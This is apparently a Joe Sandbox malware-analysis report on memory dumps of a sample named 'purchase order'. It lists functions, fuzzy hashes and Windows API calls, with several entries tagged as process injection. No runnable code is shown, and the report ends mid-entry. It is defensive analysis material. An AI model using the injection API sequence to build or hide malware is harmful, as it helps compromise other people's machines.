Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2b32edf17b9e8bd6799233e14fdcdbe038d9200ea36accf84256c569b6e827c9
Instruction ID: c1a4d2ce64d2f57cee246a6e53f8584dba3af5781e585e1bf1d6fef0a7d6a469
Opcode Fuzzy Hash: 2b32edf17b9e8bd6799233e14fdcdbe038d9200ea36accf84256c569b6e827c9
Instruction Fuzzy Hash: 45A101B0D002188FDF10CFA9C985BEEFBB1BB49304F10956AE95AE7240DB749985CF95

Function 05CDDEB0 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 05CDDF8B

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 46c6f174dcb8c19fa84f40e3bdd7a75b744e26bfb407e0f543d90e312df484e9
Instruction ID: 3980aa28b5f807c851c4d6d9fe4d5a77eb59f33a3cadf0ccddd980b806971fe3
Opcode Fuzzy Hash: 46c6f174dcb8c19fa84f40e3bdd7a75b744e26bfb407e0f543d90e312df484e9
Instruction Fuzzy Hash: D841AAB5D012489FCB00CFA9D984AEEFBF1BB49300F14942AE919B7210D375AA45CF64

Function 05CDDEB8 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 05CDDF8B

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6677f88aa5bc44c561cc8c85707a21efc702bd7476b02a3640b528a7e01f9642
Instruction ID: 9a868b1d72b3c68b8c84e826413b5590d2a016b5412b40f096c40f2dd9b0ea3e
Opcode Fuzzy Hash: 6677f88aa5bc44c561cc8c85707a21efc702bd7476b02a3640b528a7e01f9642
Instruction Fuzzy Hash: C941A9B8D012489FCB00CFA9D984ADEFBF1BB49300F10942AE919B7200D335AA45CF64

Function 05CD9779 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32(?,?), ref: 05CD9862

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b02c22f52f9233716b1c490114cdcc8b6714b868061300e635034340f62c0ca4
Instruction ID: 2df2f9bc38c352be846106022ae05d2a9489a9bfcf1f89ff161cf584e11a2b95
Opcode Fuzzy Hash: b02c22f52f9233716b1c490114cdcc8b6714b868061300e635034340f62c0ca4
Instruction Fuzzy Hash: A34121B9D05248DFCB10CFA9D984AAEFBF5AF49300F14886AE905B7340D335AA45CF64

Function 05CDE358 Relevance: 1.6, APIs: 1, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05CDE44C

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ece336c72f3317a944e5342bddc8b2985b5eab56b1bece3a4eb487ed73066411
Instruction ID: 5eacd9f933b02a1e303bb4fef65d90d234463ecef0f81ccb86bab675a4b2234f
Opcode Fuzzy Hash: ece336c72f3317a944e5342bddc8b2985b5eab56b1bece3a4eb487ed73066411
Instruction Fuzzy Hash: CC310DB5D002089FCF10DFA9E880AEEFBB1BF49314F14A82AE915B7250D7399945CB64

Function 05CDDD50 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05CDDE02

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1ef7802ff3f6474905ca5cfd4153fd136903bb127e137627d9c74782a72ffe86
Instruction ID: 4f6bf4400b074128daf72c3d4f926c622de0ed84d671a37d19aa9fcc0dc19a49
Opcode Fuzzy Hash: 1ef7802ff3f6474905ca5cfd4153fd136903bb127e137627d9c74782a72ffe86
Instruction Fuzzy Hash: CD3197B9D002589FCF14CFA9D984AAEFBB1BB19310F10A42AE915BB210D735A905CF64

Function 05CDE3A0 Relevance: 1.6, APIs: 1, Instructions: 102
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05CDE44C

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1cafb0865b59983e9a80d78d605b19bf3b4fecfd6782ae07e17d6fadc0f00f2e
Instruction ID: 8c7a894baef2ffe9cdb05ad734b34413422b70d8676e4a8d5834e9103f3b362b
Opcode Fuzzy Hash: 1cafb0865b59983e9a80d78d605b19bf3b4fecfd6782ae07e17d6fadc0f00f2e
Instruction Fuzzy Hash: F331DAB8D002589FCB10CFE9D884AEEFBB5AB48310F14942AE915B7210D739A945CF64

Function 05CDDD58 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05CDDE02

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c2d197a183bf73ef1d6de55f0b1289f1ee94552958ec7124bb3d35cf33d98756
Instruction ID: 515fe04653346d7e524d59658fc0681f4f542aed8c5dc91bf566f4cbb0f29448
Opcode Fuzzy Hash: c2d197a183bf73ef1d6de55f0b1289f1ee94552958ec7124bb3d35cf33d98756
Instruction Fuzzy Hash: 8F31A6B8D002489FCF10CFA9D984A9EFBB5BB49310F10942AE915B7210D735A905CF64

Function 05CDE3A8 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05CDE44C

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b6ce81d56740977984257d66b24127d8f49e9fda33cf4759621f0d1d0428c26e
Instruction ID: 6e133e53cca61463a85b13f55404461e100038b5de728e018678ebfae5c29bfe
Opcode Fuzzy Hash: b6ce81d56740977984257d66b24127d8f49e9fda33cf4759621f0d1d0428c26e
Instruction Fuzzy Hash: DB31CAB4D002589FCB10CFE9D884AEEFBB5AB49310F14942AE915B7210D775A945CF64

Function 05CDD7F1 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05CDD8A7

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5209cf4fddc0d34119a90906b5b6b5535a2535411980b097bf1f0a2474946c95
Instruction ID: 5f02b4433995f4051b5dbddbd5efcd762f66dab7f23b65d8f2d957c3c23e3291
Opcode Fuzzy Hash: 5209cf4fddc0d34119a90906b5b6b5535a2535411980b097bf1f0a2474946c95
Instruction Fuzzy Hash: E941CBB4D002589FDB10DFAAD884AEEFBF1BB48310F14842AE515B7240D778A945CFA4

Function 061DD3E0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 061DD484

Memory Dump Source

Source File: 00000000.00000002.2588289438.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61d0000_purchase order.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e2c64cddc095b31a83a64d6c3a2d589c160a7131c244861d9726fb5bc00d8bc5
Instruction ID: 165e1d3fdb897a871cace4c1cecf23e0d4a596444a5ecaa40d7525a7c74858c7
Opcode Fuzzy Hash: e2c64cddc095b31a83a64d6c3a2d589c160a7131c244861d9726fb5bc00d8bc5
Instruction Fuzzy Hash: B131B6B8D012489FDF10CFA9E984ADEFBB0BF49310F10942AE818B7210D735A945CF94

Function 05CDD7F8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05CDD8A7

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9698372e4dbaf2dbffade8b6b1cb40b3c8445c6d7ca5c7d4292d5d49876ac93c
Instruction ID: b34413834e264638ec0506c5e4d7eb69ad8805af6be3ac12ffab145148f7bc88
Opcode Fuzzy Hash: 9698372e4dbaf2dbffade8b6b1cb40b3c8445c6d7ca5c7d4292d5d49876ac93c
Instruction Fuzzy Hash: AA31BBB4D012589FDB10DFAAD884AEEFBF1BB48310F14842AE515B7240D778A945CFA4

Function 05CD97C8 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 05CD9862

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6785f0997882cc2d029bce307e870ea485f86b9e097929a93fc48989f9ecc6d0
Instruction ID: af94ed404c2fc9a2e961fef07f1e01c347126d66623b1ee3d8d3f18a2afc1430
Opcode Fuzzy Hash: 6785f0997882cc2d029bce307e870ea485f86b9e097929a93fc48989f9ecc6d0
Instruction Fuzzy Hash: CF31EDB8D012189FCB10CFAAD880AEEFBF5BF48310F14842AE815B7200D735A945CFA4

Function 05CD97D0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 05CD9862

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a204b6202a06f8649deac3949a6c73f5ec8c188b997bda9361c94319ae4aabdd
Instruction ID: c8506c3c3d5910279113c0aa70dd40514bcd362981acf4f6e07fb2d917e299eb
Opcode Fuzzy Hash: a204b6202a06f8649deac3949a6c73f5ec8c188b997bda9361c94319ae4aabdd
Instruction Fuzzy Hash: 9031EBB8D012189FCB10CFAAD880ADEFBF5BF48310F14842AE805B7200C735A945CFA4

Function 05CE9EE8 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

0F, xrefs: 05CEA1A4

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: 0F
API String ID: 0-760309393
Opcode ID: 1c7c24155435063422b5cdc1ea4ddc833059c01c50df999a73e2b00eccab0267
Instruction ID: 235c377a56bcc6d3ed050ee8cd16aa142993be037dbaa285feefbd0a3c2a63b5
Opcode Fuzzy Hash: 1c7c24155435063422b5cdc1ea4ddc833059c01c50df999a73e2b00eccab0267
Instruction Fuzzy Hash: 9A810475E05218CFDB14DFA9D848BAEBBB2BB49300F008569E809AB354CBB45E85CF55

Function 061DE5A8 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 061DE647

Memory Dump Source

Source File: 00000000.00000002.2588289438.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61d0000_purchase order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aff7ae81962ffcf79ff0f72812b1d8bdc0246c6d1b0ef006b4061a0d50744eda
Instruction ID: 499ff856141b1b0b8cc65bae3ca2fafee649427b60a54767e5c2ef1d4a441ff3
Opcode Fuzzy Hash: aff7ae81962ffcf79ff0f72812b1d8bdc0246c6d1b0ef006b4061a0d50744eda
Instruction Fuzzy Hash: 7231B7B8D00248DFDF10CFA9E984ADEFBB1AF49310F14942AE914BB210D735A945CF94

Function 00FF0810 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

onp, xrefs: 00FF0808

Memory Dump Source

Source File: 00000000.00000002.2562290096.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_purchase order.jbxd

Similarity

API ID:
String ID: onp
API String ID: 0-397500954
Opcode ID: bc069a3459bbe131b4e997f5b5d411cddf28a99107626f09cf04f85b6b5ba3ee
Instruction ID: 4431afe6388a7da20b5ee6d9fcdc386d280cbe1eae704ee60c177628c9cbd549
Opcode Fuzzy Hash: bc069a3459bbe131b4e997f5b5d411cddf28a99107626f09cf04f85b6b5ba3ee
Instruction Fuzzy Hash: 5031F275A00119CFDB04CFA9C494AADBBF2BF48310F258195DA04AB366DB75AD41DFA0

Function 05CFD21B Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

Pt"z, xrefs: 05CFD273

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID: Pt"z
API String ID: 0-2933116464
Opcode ID: 97880ce3b412b1e6cb851a666118c31c6059c0431954e71bc2bae3b9e24ee74d
Instruction ID: 9971190032031f8b0e027c48a1d4823a1bc495d5b0efde283b8cbf31cc2d22f8
Opcode Fuzzy Hash: 97880ce3b412b1e6cb851a666118c31c6059c0431954e71bc2bae3b9e24ee74d
Instruction Fuzzy Hash: D931E479E00209AFDB04DFA9D8546EEBBB2BF88311F14842AE916B7364DB305955CF90

Function 06521D9E Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

f, xrefs: 0653328E

Memory Dump Source

Source File: 00000000.00000002.2589333666.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6520000_purchase order.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 199d54ce34c66c7fb55b32dcddc30163cbf01a1629e8a70e0919a0c17c4b7cea
Instruction ID: e32213c897bba5f7246f7b3b61d1a3e4552662b668870756d5af543a95570807
Opcode Fuzzy Hash: 199d54ce34c66c7fb55b32dcddc30163cbf01a1629e8a70e0919a0c17c4b7cea
Instruction Fuzzy Hash: C421E774A1122CDFDB64DF64D994B99B7B1BB48340F1186D8E409A7380CB31AF85CF44

Function 05CEAB3C Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

), xrefs: 05CEB656

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 6f2537fd771248fd637408e61d4e8c78a0833e09053e406de3f8a33cec0e4632
Instruction ID: 884de0f20bb7f41570e7d9c81ae3b72c5b1d18afba6cb4f30e8b3608c8f6e78c
Opcode Fuzzy Hash: 6f2537fd771248fd637408e61d4e8c78a0833e09053e406de3f8a33cec0e4632
Instruction Fuzzy Hash: 70119F74D41229CFDB64DF65DC98BE9BBB2BB48300F4045E9D509A7290EB715E85CF40

Function 05CEA8D2 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

1, xrefs: 05CEB951

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: ac79947131a31cc5654a0760ae6163a608592133693476a93f13b12eb8896530
Instruction ID: 8a2e2d26a6eca74c25abeca56437c6362bd357fc2b0a1d2b5e99c645ef82c8a4
Opcode Fuzzy Hash: ac79947131a31cc5654a0760ae6163a608592133693476a93f13b12eb8896530
Instruction Fuzzy Hash: D5119D74904269CFDB60CF64DC48BEABBB2BB49305F1481EAD819AB390D7725E85CF40

Function 05CEB5B3 Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

), xrefs: 05CEB656

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 8964e26dd6973f5820fc2000ba6ee208cadd572ab319e05c0d3bc9f78538b9d6
Instruction ID: be258a307017bb03f0433a5344e48008212287933ea1a734ff6242470f72fb24
Opcode Fuzzy Hash: 8964e26dd6973f5820fc2000ba6ee208cadd572ab319e05c0d3bc9f78538b9d6
Instruction Fuzzy Hash: 2701AEB4A45229DFDB60CF69EC88BA9BBB2BB48300F4042E5E40DA7350E7715E85CF40

Function 05CEADF3 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

0, xrefs: 05CEAE3E

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 61512ff2a0619a4387330bca208930c4abd54af837d36410286ed8b76bf70c46
Instruction ID: a23d6a1863f4db5f66f85f19984ed41e4fb770ae0a429e0180798aeee07e76ca
Opcode Fuzzy Hash: 61512ff2a0619a4387330bca208930c4abd54af837d36410286ed8b76bf70c46
Instruction Fuzzy Hash: E701243184161ADFDB20CF54D858BE9B7B2FF44300F108AA5E40967290DB71AED5DF80

Function 05CF060C Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

n, xrefs: 05CF13BD

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: f4f255575ad60ff698aefd787b19fb9ef12a044efa439e948b5b914d16630bb4
Instruction ID: 0c5b508f717c585c89a8a69872c1ec0294d3c95c892706ad8560da65e8ad5070
Opcode Fuzzy Hash: f4f255575ad60ff698aefd787b19fb9ef12a044efa439e948b5b914d16630bb4
Instruction Fuzzy Hash: C6F0E778A06228CBDBE4CF11C88C79DBBB6BB44700F14A599C60633242DB744A88CF55

Function 05CF02B9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

$, xrefs: 05CF1291

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 9a4195acf49f701860660ef71891922f71e1800beac8888abe195cc7e6abd796
Instruction ID: d70edf1b84cd199486b2083c131e5c3c08159f8d1e9a23cb7d66024083cd8a20
Opcode Fuzzy Hash: 9a4195acf49f701860660ef71891922f71e1800beac8888abe195cc7e6abd796
Instruction Fuzzy Hash: 1B016D70905268CFDBA4DF64C889BECBBF1BB08315F285999D54AB2242CB745AD4CF08

Function 05CEA9CE Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

!, xrefs: 05CEA9FF

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: d2d6b6009a836acfb4c503f7a15524dfc868f73aca30529a1a3e31cf66fb7b5c
Instruction ID: 0d1a7a588e864406512cd23af52b59524691874764feb1c68e9b75e904539c72
Opcode Fuzzy Hash: d2d6b6009a836acfb4c503f7a15524dfc868f73aca30529a1a3e31cf66fb7b5c
Instruction Fuzzy Hash: 11F0AA7594522ACFDB20CF55E948BE8BBB2BB09309F0444E5D409AB2A2D3749F85CF85

Function 0652116A Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

z, xrefs: 065211B7

Memory Dump Source

Source File: 00000000.00000002.2589333666.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6520000_purchase order.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 43c66fa2b424a39c2a988d325d64763dea987975a3b5544eac5ab70ab25e65a3
Instruction ID: 4d0fdadfef9d6f5ad5df121890a43d7cc5590e33e042c759f2d482cfdf24f26e
Opcode Fuzzy Hash: 43c66fa2b424a39c2a988d325d64763dea987975a3b5544eac5ab70ab25e65a3
Instruction Fuzzy Hash: 63E0D834A09014DFDB04EF60D95A39D77B6EB88300F004998E50D633C0CF315D448F50

Function 0652111B Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

z, xrefs: 065211B7

Memory Dump Source

Source File: 00000000.00000002.2589333666.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6520000_purchase order.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 7f17bec851420e5b720fb06652746989751dbee558fb45b07baf6a44e2c62b28
Instruction ID: f135e0aece33c7526db0a9650ed9e85fa77c43bce1aa815ab4ff2da8ae24b07d
Opcode Fuzzy Hash: 7f17bec851420e5b720fb06652746989751dbee558fb45b07baf6a44e2c62b28
Instruction Fuzzy Hash: 1DE08C3480E295AFDB868BA0C69E184FFB0BF0331CB0400EACA402B1DAD63D1148CF60

Function 05CB9DB8 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5c39995a5081cfc7c39cd3a81c0a91a735b3c0d737402090465f05da8ef0f5
Instruction ID: 8df57ed1d0e0102a68ee7c71a5af5ad712a48e9f89243eb3acd54b9beca6b335
Opcode Fuzzy Hash: 2a5c39995a5081cfc7c39cd3a81c0a91a735b3c0d737402090465f05da8ef0f5
Instruction Fuzzy Hash: 40522A75A002288FDB28DF68C995BEDBBF2BF88300F1545D9E549A7351DA709E80CF61

Function 05C60D98 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578327487.0000000005C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c60000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996bb64cb89951fbae64668d4d95087d5ef5de513c402c2204b75924a1f8713f
Instruction ID: e19aecc8552c33320f8daceccde157ed83734d88b666359ba1202d5085244d7b
Opcode Fuzzy Hash: 996bb64cb89951fbae64668d4d95087d5ef5de513c402c2204b75924a1f8713f
Instruction Fuzzy Hash: E842D674E04209CFDB14CF95D499ABEBBB2FB88352F189429D912B7350DB349A82CF51

Function 05CB4191 Relevance: .5, Instructions: 533COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c6ea25beb093c440f6a55eee3b48341d24fe9ceb6d5c552923f3f284899fac
Instruction ID: 504718e18123fe067798b8d6e8a45b54137f137a9784ee04ffad3475b4ea737b
Opcode Fuzzy Hash: a0c6ea25beb093c440f6a55eee3b48341d24fe9ceb6d5c552923f3f284899fac
Instruction Fuzzy Hash: F6229075A142049FDB08CFA4D494AADB7F2FF88300F148459E906EB3A6DB71ED45CB91

Function 05CB35C8 Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9349a819ffddba4d32392698fd5a8a5987f42879682a44ef88b036877e201781
Instruction ID: 1c57b10e83534e2ebe53809fb68214fc49d4320daf9631eed74fd8fc0de37b68
Opcode Fuzzy Hash: 9349a819ffddba4d32392698fd5a8a5987f42879682a44ef88b036877e201781
Instruction Fuzzy Hash: 40227B71E002598FDB15DFA4D858AEEBBB2FF48700F148815E812A7395DBB49E46CF90

Function 05C61DA8 Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578327487.0000000005C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c60000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067eaf577351e4cac80496d3ecbcdb018ed5a00721a3a03ba062670205987a03
Instruction ID: 8ff53b9db21ba7b15a1748bf24e74f71250e0c951f959f7b34d9f74591252368
Opcode Fuzzy Hash: 067eaf577351e4cac80496d3ecbcdb018ed5a00721a3a03ba062670205987a03
Instruction Fuzzy Hash: A922F034E05208CFCB14DFE5D5986ADB7B2BF49346F208869D40ABB395DB749A89CF10

Function 05CB70A8 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b2ecfb279aa1a104b0b05aacb34876d98085b880329783a2e645e798cf3ff0
